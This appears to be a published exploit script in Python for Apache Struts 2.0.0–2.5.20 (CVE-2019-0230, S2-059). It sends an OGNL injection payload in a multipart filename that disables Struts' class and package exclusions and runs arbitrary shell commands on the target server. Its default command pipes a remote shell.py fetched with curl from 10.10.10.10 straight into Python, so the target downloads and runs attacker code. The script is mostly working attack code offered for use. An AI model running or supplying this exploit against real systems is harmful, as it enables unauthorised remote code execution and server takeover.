# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation # Date: 08/18/2020 # Exploit Author: West Shepherd # Vendor Homepage: https://struts.apache.org/download.cgi # Version: Struts 2.0.0 - Struts 2.5.20 (S2-059) # CVE : CVE-2019-0230 # Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF. # Source(s): # https://github.com/PrinceFPF/CVE-2019-0230 # https://cwiki.apache.org/confluence/display/WW/S2-059 # *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22 # !/usr/bin/python from sys import argv, exit, stdout, stderr import argparse import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning import logging class Exploit: def __init__( self, target='', redirect=False, proxy_address='' ): requests.packages.urllib3.disable_warnings(InsecureRequestWarning) self.target = target self.session = requests.session() self.redirect = redirect self.timeout = 0.5 self.proxies = { 'http': 'http://%s' % proxy_address, 'https': 'http://%s' % proxy_address } \ if proxy_address is not None \ and proxy_address != '' else {} self.query_params = {} self.form_values = {} self.cookies = {} boundary = "---------------------------735323031399963166993862150" self.headers = { 'Content-Type': 'multipart/form-data; boundary=%s' % boundary, 'Accept': '*/*', 'Connection': 'close' } payload = "%{(#nike='multipart/form-data')." \ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ "(#_memberAccess?(#_memberAccess=#dm):" \ "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ "(#ognlUtil.getExcludedPackageNames().clear())." \ "(#ognlUtil.getExcludedClasses().clear())." \ "(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \ "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \ "(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()." \ "getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ "(#ros.flush())}" self.payload = "--%s\r\nContent-Disposition: form-data; name=\"foo\"; " \ "filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % ( boundary, payload, boundary ) def do_get(self, url, params=None, data=None): return self.session.get( url=url, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, data=data, params=params ) def do_post(self, url, data=None, params=None): return self.session.post( url=url, data=data, verify=False, allow_redirects=self.redirect, headers=self.headers, cookies=self.cookies, proxies=self.proxies, params=params ) def debug(self): try: import http.client as http_client except ImportError: import httplib as http_client http_client.HTTPConnection.debuglevel = 1 logging.basicConfig() logging.getLogger().setLevel(logging.DEBUG) requests_log = logging.getLogger("requests.packages.urllib3") requests_log.setLevel(logging.DEBUG) requests_log.propagate = True return self def send_payload(self, command='curl --insecure -sv https://10.10.10.10/shell.py|python -'): url = self.target stdout.write('sending payload to %s payload %s' % (url, command)) resp = self.do_post(url=url, params=self.query_params, data=self.payload.replace('{COMMAND}', command)) return resp if __name__ == '__main__': parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-0230 Struts 2 exploit') try: parser.add_argument('-target', action='store', help='Target address: http(s)://target.com/index.action') parser.add_argument('-command', action='store', help='Command to execute: touch /tmp/pwn') parser.add_argument('-debug', action='store', default=False, help='Enable debugging: False') parser.add_argument('-proxy', action='store', default='', help='Enable proxy: 10.10.10.10:8080') if len(argv) == 1: parser.print_help() exit(1) options = parser.parse_args() exp = Exploit( proxy_address=options.proxy, target=options.target ) if options.debug: exp.debug() stdout.write('target %s debug %s proxy %s\n' % ( options.target, options.debug, options.proxy )) result = exp.send_payload(command=options.command) stdout.write('Response: %d\n' % result.status_code) except Exception as error: stderr.write('error in main %s' % str(error))